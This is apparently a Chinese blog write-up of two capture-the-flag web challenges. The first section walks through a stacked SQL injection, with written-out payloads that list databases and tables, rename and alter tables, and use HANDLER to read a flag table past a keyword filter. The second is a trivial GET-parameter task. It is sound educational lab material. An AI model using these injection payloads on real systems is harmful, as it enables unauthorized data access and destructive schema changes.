5,[强网杯 2019]随便注
输入1,可看到回显,那么测试下闭合看看。
得到所有回显,看来只有输入这几个数才有回显,那么根据回显来判断下字段显示位置。
当判断3的时候报错了,可见只有2个回显位,然后就sql注入的基本流程跑一遍咯。
使用select报错了,可以看到以下关键字被过滤了,试试绕过。
发现没有办法绕过,只好参考一下百度,发现可以使用堆叠注入,即如下所示:
-1';show databases#
在查询的语句后使用“;”可以拼接一段sql语句,在联合查询被ban的情况下可以使用“show”指令来查询,查询的数据库结果如下。
那就直接show表好了。
-1';show tables#
可以看到有两个字段,进words的那个里面看看。
words表下的内容。有id,data,两个列,日后会用到。
-1';show columns from `1919810931114514`#
这里有一点,表名为数字的,需要用反引号包起来。
得到flag列,这时候要进入这个字段里去,由于查询语句都需要select,一时又无从下手,这里参考一下别的大佬博客~
这里有三种解题方法,我就挑个自己能理解的讲吧。
1,将words这个表改名成word1或者其他的,将数字名表改名为words,这个不能改别的名,否则会出现这样的报错。
然而只改名,改完以后会出现这样的报错,这个时候结合原words表里的内容得知原表里还有个“id”列,于是我们还需要给新表插入一条名为id的列。
原理可能是这样,它的select语句是 select * from words where id=,所以只能查询到名字为words的表,且其中包含的列得要有id。综合起来使用这段sql语句就行了,与参考博客少了将flag名改为data这一步,但是依旧可以得出结果,主要试错试的多。。。。。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;#
参考payland//
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
这时候查询1就可直接显示flag了。
到此,还有两种解法,一是通过将select语句进行十六进制编码,然鹅我没有成功。。。。。
二是使用这段语句:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler这条语句使我们能够一行一行的浏览一个表中的数据。所以猜测大致意思是将表打开,然后将其作为下一次读写。
6,[极客大挑战 2019]Havefun
本着一篇博客最少两题的想法,但是上一节篇幅已经不少了,这里就再加一篇简单的wed题吧!
进入靶场,是一只睡觉的小猫,移动鼠标碰它尾巴还会不乐意的摇尾巴。介绍到这,既然作为wed类题,先看源码。
最底下发现了提示,意思大概是让我们用get方式传入一个参数cat,并使cat的参数值等于dog,这时候会输出一个结果,试试吧。
get传参的话可以直接在网址栏输入就行,果不其然,得到flag。
这题主要还是让我们知道如何使用get传参的用法,下次写几篇难点的wed类的题吧。